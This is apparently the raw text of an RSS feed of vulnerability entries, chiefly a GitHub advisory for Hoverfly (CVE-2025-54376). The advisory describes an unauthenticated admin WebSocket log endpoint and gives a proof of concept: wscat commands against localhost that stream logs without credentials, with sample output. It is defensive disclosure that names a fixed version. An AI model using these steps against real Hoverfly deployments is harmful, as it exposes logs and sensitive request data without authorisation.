https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 03 Oct 2026 11:31:57 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-252448 EUVD-2026-252448 https://cve.radiocsirt.org/vuln/euvd-2026-252448 https://cve.radiocsirt.org/vuln/fkie_cve-2025-54376 <p>Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can stream real-time application logs (information disclosure) and/or gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. Version 1.12.0 contains a fix for the issue.</p> <p>Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can stream real-time application logs (information disclosure) and/or gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. Version 1.12.0 contains a fix for the issue.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2025-54376 https://cve.radiocsirt.org/vuln/ghsa-jxmr-2h4q-rhxp <p><strong>Affected:</strong> Go: github.com/SpectoLabs/hoverfly</p> <p>### Summary Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can:</p> <p>- Stream real-time application logs (information disclosure). - Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.</p> <p>### PoC 1. Start Hoverfly with authentication enabled:</p> <p>``` ./hoverfly -auth ```</p> <p>2. Confirm REST API requires credentials:</p> <p>``` curl -i http://localhost:8888/api/v2/hoverfly/version ```</p> <p>3. Connect to the WebSocket endpoint without credentials:</p> <p>``` wscat -c ws://localhost:8888/api/v2/ws/logs # Connected (press CTRL+C to quit) # … logs stream immediately … (You would need to send a message to start receiving stream) ```</p> <p>``` wscat -c ws://localhost:8888/api/v2/ws/logs Connected (press CTRL+C to quit) &gt; hi! &lt; {&#34;logs&#34;:[{&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;Log level set to verbose&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;},{&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;Using memory backend&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;},{&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;User added successfully&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;,&#34;username&#34;:&#34;&#34;},{&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;Enabling proxy authentication&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;},{&#34;Destination&#34;:&#34;.&#34;,&#34;Mode&#34;:&#34;simulate&#34;,&#34;ProxyPort&#34;:&#34;8500&#34;,&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;Proxy prepared...&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;},{&#34;destination&#34;:&#34;.&#34;,&#34;level&#34;:&#34;info&#34;,&#34;mode&#34;:&#34;simulate&#34;,&#34;msg&#34;:&#34;current proxy configuration&#34;,&#34;port&#34;:&#34;85…</p> <p><strong>Affected:</strong> Go: github.com/SpectoLabs/hoverfly</p> <p>### Summary Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can:</p> <p>- Stream real-time application logs (information disclosure). - Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.</p> <p>### PoC 1. Start Hoverfly with authentication enabled:</p> <p>``` ./hoverfly -auth ```</p> <p>2. Confirm REST API requires credentials:</p> <p>``` curl -i http://localhost:8888/api/v2/hoverfly/version ```</p> <p>3. Connect to the WebSocket endpoint without credentials:</p> <p>``` wscat -c ws://localhost:8888/api/v2/ws/logs # Connected (press CTRL+C to quit) # … logs stream immediately … (You would need to send a message to start receiving stream) ```</p> <p>``` wscat -c ws://localhost:8888/api/v2/ws/logs Connected (press CTRL+C to quit) &gt; hi! &lt; {&#34;logs&#34;:[{&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;Log level set to verbose&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;},{&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;Using memory backend&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;},{&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;User added successfully&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;,&#34;username&#34;:&#34;&#34;},{&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;Enabling proxy authentication&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;},{&#34;Destination&#34;:&#34;.&#34;,&#34;Mode&#34;:&#34;simulate&#34;,&#34;ProxyPort&#34;:&#34;8500&#34;,&#34;level&#34;:&#34;info&#34;,&#34;msg&#34;:&#34;Proxy prepared...&#34;,&#34;time&#34;:&#34;2025-07-20T17:07:00+05:30&#34;},{&#34;destination&#34;:&#34;.&#34;,&#34;level&#34;:&#34;info&#34;,&#34;mode&#34;:&#34;simulate&#34;,&#34;msg&#34;:&#34;current proxy configuration&#34;,&#34;port&#34;:&#34;85…</p> https://cve.radiocsirt.org/vuln/ghsa-jxmr-2h4q-rhxp https://cve.radiocsirt.org/vuln/opensuse-su-2025:15564-1 <p>govulncheck-vulndb-0.0.20250917T170349-1.1 on GA media</p> <p>govulncheck-vulndb-0.0.20250917T170349-1.1 on GA media</p> https://cve.radiocsirt.org/vuln/opensuse-su-2025:15564-1